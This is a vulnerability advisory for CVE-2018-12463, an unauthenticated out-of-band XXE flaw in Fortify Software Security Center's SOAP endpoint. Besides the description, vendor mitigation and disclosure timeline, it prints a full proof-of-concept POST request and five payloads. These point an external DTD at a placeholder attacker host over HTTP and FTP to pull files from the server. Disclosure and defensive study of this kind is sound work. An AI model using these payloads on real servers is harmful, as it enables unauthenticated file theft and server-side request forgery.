Fortify SSC 17.10 / 17.20 / 18.10 XXE Injection

2018.07.14
Credit: Alt3kx
Risk: High
Local: No
Remote: Yes
CWE: CWE-918


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Details ================ Software: Fortify SSC (Software Security Center) Version: 17.10, 17.20 & 18.10 Homepage: https://www.microfocus.com Advisory report: https://github.com/alt3kx/CVE-2018-12463 CVE: CVE-2018-12463 at https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12463 CVSS: HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) CWE-611, CWE-918 Description ================ Out-of-Band XML External Entity (OOB-XXE) An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. Vulnerability ================ XML external entity (XXE) vulnerability in /ssc/fm-ws/services in Fortify Software Security Center (SSC) 17.10, 17.20 & 18.10 allows remote unauthenticated users to read arbitrary files or conduct server-side request forgery (SSRF) attacks via a crafted DTD in an XML request. Proof of concept Exploit ========================== The offending POST method below: POST /ssc/fm-ws/services HTTP/1.1 Accept-Encoding: gzip, deflate SOAPAction: "" Accept: text/xml Content-Type: text/xml; charset=UTF-8; text/html; Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.8.0_121 Host: fortifyserver.com Connection: close Content-Length: 1765 <?xml version='1.0' encoding='UTF-8'?> <!Your payload here "http://intuder.IP.here/alex1.dtd"> <-- HERE!!! <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" soapenv:mustUnderstand="1"> <wsu:Timestamp xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="Timestamp-2"> <wsu:Created>2018-05-24T14:27:02.619Z</wsu:Created> <wsu:Expires>2018-05-24T14:32:02.619Z</wsu:Expires> </wsu:Timestamp> <wsse:UsernameToken xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="UsernameToken-1"> <wsse:Username>XXXXXXX</wsse:Username> <wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText">XXXXXXXXXXX</wsse:Password> </wsse:UsernameToken> </wsse:Security> </soapenv:Header> <soapenv:Body> <ns3:GetAuthenticationTokenRequest xmlns:ns3="http://www.fortify.com/schema/fws" xmlns:ns6="xmlns://www.fortify.com/schema/issuemanagement" xmlns:ns5="xmlns://www.fortifysoftware.com/schema/activitytemplate" xmlns:ns8="xmlns://www.fortifysoftware.com/schema/seed" xmlns:ns7="xmlns://www.fortifysoftware.com/schema/runtime" xmlns:ns9="xmlns://www.fortify.com/schema/attachments" xmlns:ns2="xmlns://www.fortify.com/schema/audit" xmlns:ns4="xmlns://www.fortifysoftware.com/schema/wsTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <ns3:TokenType>AnalysisUploadToken</ns3:TokenType> </ns3:GetAuthenticationTokenRequest> </soapenv:Body> </soapenv:Envelope> Note: As remark that is not necessary to be used the credentials or any authentication, the POST method above was extracted using Burp Suite to know the exact API path and data sending to the server. RedTeam Vector (1): Using Transitional payload, connection to HTTP server (intruder). it works! POST /ssc/fm-ws/services HTTP/1.1 Accept-Encoding: gzip, deflate SOAPAction: "" Accept: text/xml Content-Type: text/xml; charset=UTF-8; text/html; Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.8.0_121 Host: fortifyserver.com Connection: close Content-Length: 1789 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://intruder.ip.here/alex1.dtd"> [../snip] RedTeam Vector (2): Classic "OOB XXE" payload, connection to HTTP server (intruder), it works! POST /ssc/fm-ws/services HTTP/1.1 Accept-Encoding: gzip, deflate SOAPAction: "" Accept: text/xml Content-Type: text/xml; charset=UTF-8 Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.8.0_121 Host: fortifyserver.com Connection: close Content-Length: 1750 <?xml version='1.0' encoding='UTF-8'?> <!DOCTYPE data SYSTEM "http://intruder.ip.here/alex1.dtd"> <data>&send;</data> [../snip] RedTeam Vector (3): FTP payload with ruby FTP server emulator POST /ssc/fm-ws/services HTTP/1.1 Accept-Encoding: gzip, deflate SOAPAction: "" Accept: text/xml Content-Type: text/xml; charset=UTF-8 Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.8.0_121 Host: fortifyserver.com Connection: close Content-Length: 1769 <?xml version='1.0' encoding='UTF-8'?> <!DOCTYPE data SYSTEM "ftp://intruder.ip.here:2121"> [../snip] RedTeam Vector (4): FTP payloads with FTP python server POST /ssc/fm-ws/services HTTP/1.1 Accept-Encoding: gzip, deflate SOAPAction: "" Accept: text/xml Content-Type: text/xml; charset=UTF-8 Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.8.0_121 Host: fortifyserver.com Connection: close Content-Length: 1769 <?xml version='1.0' encoding='UTF-8'?> <!DOCTYPE data SYSTEM "ftp://intruder.ip.here:2121"> [../snip] RedTeam Vector (5): FTP payload, server compromised POST /ssc/fm-ws/services HTTP/1.1 Accept-Encoding: gzip, deflate SOAPAction: "" Accept: text/xml Content-Type: text/xml; charset=UTF-8 Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.8.0_121 Host: fortifyserver.com Connection: close Content-Length: 1769 <?xml version='1.0' encoding='UTF-8'?> <!DOCTYPE data SYSTEM "ftp://anonymous:anonymous@intruder.ip.here:2121/alex1.txt"> [../snip] Mitigations ================ Provided by the vendor here: Document ID: KM03201563 https://softwaresupport.softwaregrp.com/document/-/facetsearch/document/KM03201563 Disclosure policy ================ We believes in responsible disclosure. Please contact us on Alex Hernandez aka alt3kx () protonmail com to acknowledge this report. This vulnerability will be published if we do not receive a response to this report with 10 days. Timeline ================ 2018-05-24: Discovered 2018-05-25: Retest PRO environment 2018-05-31: Vendor notification, two issues found 2018-05-31: Vendor feedback received 2018-06-01: Internal communication 2018-06-01: Vendor feedback, two issues are confirmed 2018-06-05: Vendor notification, new issue found 2018-06-06: Vendor feedback, evaluating High submission 2018-06-08: Vendor feedback, High issue is confirmed 2018-06-19: Researcher, reminder sent 2018-06-22: Vendor feedback, summary of CVEs handled as official way 2018-06-26: Vendor feedback, official Hotfix for High issue available to test 2018-06-29: Researcher feedback 2018-07-02: Researcher feedback 2018-07-04: Researcher feedback, Hotfix tested on QA environment 2018-07-05: Vendor feedback 2018-07-09: Vendor feedback, final details to disclosure the CVE and official Hotfix availabe for customers. 2018-07-09: Vendor feedback, CVE and official Hotfix to be disclosure 2018-07-12: Agreements with the vendor to publish the CVE/Advisory. 2018-07-12: Public report Discovered by: Alex Hernandez aka alt3kx: ================ Please visit https://github.com/alt3kx for more information. My current exploit list @exploit-db: https://www.exploit-db.com/author/?a=1074


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